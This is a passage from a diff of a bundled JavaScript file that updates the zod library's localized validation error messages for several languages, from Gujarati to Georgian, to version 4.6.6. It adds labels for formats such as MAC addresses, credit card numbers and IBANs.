"nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -61065,6 +62487,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -61078,13 +62502,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -61202,12 +62631,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -61238,12 +62779,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -61325,17 +62870,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61361,12 +62907,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -61434,11 +62984,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -61449,7 +62999,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -61478,6 +63028,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -61504,12 +63061,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -61582,17 +63143,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61618,12 +63180,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61689,17 +63255,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61725,12 +63292,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -61799,17 +63370,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61835,12 +63407,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61908,17 +63484,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61944,12 +63521,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -62016,17 +63597,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: 